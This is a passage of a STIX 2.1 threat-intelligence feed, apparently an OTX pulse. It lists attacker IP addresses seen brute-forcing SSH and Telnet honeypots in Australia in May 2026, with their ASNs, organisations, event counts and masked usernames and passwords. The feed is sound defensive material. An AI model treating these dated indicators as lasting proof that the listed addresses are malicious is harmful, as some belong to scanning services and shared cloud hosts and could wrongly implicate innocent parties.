      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--5176f7f2-2e68-4c83-9829-7f129dd0f661",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.166.212.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:15:11.000Z",
      "valid_until": "2026-06-26T00:15:08.000Z"
    },
    {
      "created": "2026-05-25T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 52504. Organisation(s): Cicomsa S.A..",
      "id": "indicator--9334ab7c-0d92-48f3-aedc-95f324fcac8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.180.153.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:15:11.000Z",
      "valid_until": "2026-06-26T00:15:08.000Z"
    },
    {
      "created": "2026-05-25T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG.",
      "id": "indicator--510de65d-061a-48de-bf88-28ae44062d7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.253.13.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:15:11.000Z",
      "valid_until": "2026-06-26T00:15:08.000Z"
    },
    {
      "created": "2026-05-25T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272122. Organisation(s): TELECOMUNICACIONES G-NETWORK, C.A..",
      "id": "indicator--b48deca7-da76-4f8a-b5eb-f4fc55ab52b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.17.137.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:15:11.000Z",
      "valid_until": "2026-06-26T00:15:08.000Z"
    },
    {
      "created": "2026-05-25T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269405. Organisation(s): CONECT TEC TELECOMUNICACOES LTDA.",
      "id": "indicator--54183a07-84f5-4447-9ffe-c9eef566ffb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.185.225.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:15:11.000Z",
      "valid_until": "2026-06-26T00:15:08.000Z"
    },
    {
      "created": "2026-05-25T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--5ddb96f9-07fe-4a64-90c6-3c66f97ce512",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:15:11.000Z",
      "valid_until": "2026-06-26T00:15:08.000Z"
    },
    {
      "created": "2026-05-25T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--4efc883e-a6fc-4626-839b-eb0ea5c033b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:15:11.000Z",
      "valid_until": "2026-06-26T00:15:08.000Z"
    },
    {
      "created": "2026-05-25T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--49696639-276e-44dd-ba45-b24616a9d591",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:15:11.000Z",
      "valid_until": "2026-06-26T00:15:08.000Z"
    },
    {
      "created": "2026-05-25T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6167. Organisation(s): Verizon Business.",
      "id": "indicator--4978317f-d022-436e-a3f2-9cc530c8b9ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '75.220.188.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:15:11.000Z",
      "valid_until": "2026-06-26T00:15:08.000Z"
    },
    {
      "created": "2026-05-25T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 174. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 134945. Organisation(s): Blue Sky Broadband Pvt. Ltd.. Usernames observed (masked): r**t, 3**********4, c***d, ***, p*****r. Passwords observed (masked): 3***********4, 3**********4, ***, 1*******a, 1******s.",
      "id": "indicator--15cd177d-bb14-4f12-a90d-49d1574c7574",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.84.236.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:15:11.000Z",
      "valid_until": "2026-06-26T01:15:08.000Z"
    },
    {
      "created": "2026-05-25T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--3080a2ca-5060-4832-8583-c7d0a6204ed2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.31.121.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:15:11.000Z",
      "valid_until": "2026-06-26T01:15:08.000Z"
    },
    {
      "created": "2026-05-25T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): c**l, u****u, 3**********4, a****s, c***d. Passwords observed (masked): 1******r, 3***********4, 3**********4, U********3, W*********7.",
      "id": "indicator--2a63b1a5-002d-4a38-8924-9ab2e175f8b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:15:11.000Z",
      "valid_until": "2026-06-26T01:15:08.000Z"
    },
    {
      "created": "2026-05-25T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--763040bf-ce07-468c-9287-fec9289355d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.116.201.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:15:11.000Z",
      "valid_until": "2026-06-26T01:15:08.000Z"
    },
    {
      "created": "2026-05-25T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PE. ASN(s): 270007. Organisation(s): MORENO YANOC NEMIAS BERNARDO.",
      "id": "indicator--d5ea3239-188b-451a-93ad-da039372f4b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.53.152.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:15:11.000Z",
      "valid_until": "2026-06-26T01:15:08.000Z"
    },
    {
      "created": "2026-05-25T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC.",
      "id": "indicator--1ab6efee-0726-41ae-83f7-136a8bc08216",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.234.78.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:15:11.000Z",
      "valid_until": "2026-06-26T01:15:08.000Z"
    },
    {
      "created": "2026-05-25T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: SV. ASN(s): 52468. Organisation(s): UFINET PANAMA S.A..",
      "id": "indicator--98feaade-7f7d-4894-ac81-badec972325a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.78.98.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:15:11.000Z",
      "valid_until": "2026-06-26T01:15:08.000Z"
    },
    {
      "created": "2026-05-25T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c4f0da9c-61dc-4272-b83e-99a1c558060d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.147.162.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:15:11.000Z",
      "valid_until": "2026-06-26T01:15:08.000Z"
    },
    {
      "created": "2026-05-25T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 22927. Organisation(s): Telefonica de Argentina.",
      "id": "indicator--f6150077-32f3-496f-b6a3-871490f2c688",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.174.25.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:15:11.000Z",
      "valid_until": "2026-06-26T01:15:08.000Z"
    },
    {
      "created": "2026-05-25T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263509. Organisation(s): DOMUS TELECOM.",
      "id": "indicator--61d829e9-180e-4237-b1f7-64fe54288807",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.243.183.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:15:11.000Z",
      "valid_until": "2026-06-26T01:15:08.000Z"
    },
    {
      "created": "2026-05-25T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--d83d6fc8-74c6-48f8-9dd1-dcb08b1b5408",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.150.195.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:15:11.000Z",
      "valid_until": "2026-06-26T01:15:08.000Z"
    },
    {
      "created": "2026-05-25T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--067a6e9e-9f53-43bd-8c63-2b8e757bd4ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:15:11.000Z",
      "valid_until": "2026-06-26T01:15:08.000Z"
    },
    {
      "created": "2026-05-25T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--b83d1d6d-a97f-4f52-ba07-e311a4950a80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.94.201.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:15:11.000Z",
      "valid_until": "2026-06-26T01:15:08.000Z"
    },
    {
      "created": "2026-05-25T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17917. Organisation(s): Quadrant Televentures Limited.",
      "id": "indicator--c8740515-a0eb-4b10-b1aa-93b42b53d87c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.253.102.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T02:15:10.000Z",
      "valid_until": "2026-06-26T02:15:08.000Z"
    },
    {
      "created": "2026-05-25T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f8f3e1b7-88a1-4adf-a1af-224027e479b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T02:15:10.000Z",
      "valid_until": "2026-06-26T02:15:08.000Z"
    },
    {
      "created": "2026-05-25T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 34814. Organisation(s): Osnova-Internet LLC. Usernames observed (masked): r**t. Passwords observed (masked): Y*******., f******************@.",
      "id": "indicator--8c872dfb-d0ab-47d6-bfa9-36b228ffccad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.60.175.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T02:15:10.000Z",
      "valid_until": "2026-06-26T02:15:08.000Z"
    },
    {
      "created": "2026-05-25T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 7438. Organisation(s): PEGASO PCS.",
      "id": "indicator--5a384614-f4dc-410b-8319-23f18c9c04a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.166.169.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T02:15:10.000Z",
      "valid_until": "2026-06-26T02:15:08.000Z"
    },
    {
      "created": "2026-05-25T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--447f26d8-f48a-4f5a-98a8-4faddd6e8673",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.151.73.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T02:15:10.000Z",
      "valid_until": "2026-06-26T02:15:08.000Z"
    },
    {
      "created": "2026-05-25T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): f*********r. Passwords observed (masked): 1****6.",
      "id": "indicator--23f4b14a-12f5-48ea-89de-486faf2a79f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.143.113.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T02:15:10.000Z",
      "valid_until": "2026-06-26T02:15:08.000Z"
    },
    {
      "created": "2026-05-25T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--39e421bb-810a-4a63-8f25-2f3781aaa129",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.219.57.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T02:15:10.000Z",
      "valid_until": "2026-06-26T02:15:08.000Z"
    },
    {
      "created": "2026-05-25T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 296. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 24945. Organisation(s): Telecommunication Company Vinteleport Ltd.. Usernames observed (masked): r**t, 3**********4, c**l, o****e, a**t. Passwords observed (masked): 3***********4, 3**********4, 1******r, 2****4, A**********6.",
      "id": "indicator--1bd2a3cd-e9c3-4636-a7db-9aac4c2230a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.30.162.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T02:15:10.000Z",
      "valid_until": "2026-06-26T02:15:08.000Z"
    },
    {
      "created": "2026-05-25T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 43060. Organisation(s): IPLUS LLC.",
      "id": "indicator--b9d6c79f-5878-4a43-a2e3-4a8156288911",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.158.60.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T02:15:10.000Z",
      "valid_until": "2026-06-26T02:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 19871. Organisation(s): Network Solutions, LLC. Usernames observed (masked): r**t, 3**********4, b***u, c***d, a*****e. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1******8, A**********6.",
      "id": "indicator--a900f817-5423-47e4-9c34-5b5a248b6db2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.179.225.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134756. Organisation(s): CHINANET Nanjing Jishan IDC network. Usernames observed (masked): r**t. Passwords observed (masked): -**************-.",
      "id": "indicator--8fc170d7-9db5-4bd0-9d79-4447b68bf8af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.89.254.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): d****y, l***a, r**t. Passwords observed (masked): f******************@, p******d, p*********3.",
      "id": "indicator--86188385-140c-42e7-ba1f-1d904608a609",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.197.24.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): c***d, 3**********4. Passwords observed (masked): 3***********4, 3**********4, W*********7.",
      "id": "indicator--7234d23b-937a-49ae-b458-23b9f11089d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.176.147.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:15:11.000Z",
      "valid_until": "2026-06-26T03:15:08.000Z"
    },
    {
      "created": "2026-05-25T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): y*****e, 3**********4, d****n, r**t. Passwords observed (masked): 3***********4, 3**********4, d*******3, p******n, y*****e.",
      "id": "indicator--967787cc-2124-45a7-bc50-b3567d903626",
      "labels": [
        "bruteforce"
      ],
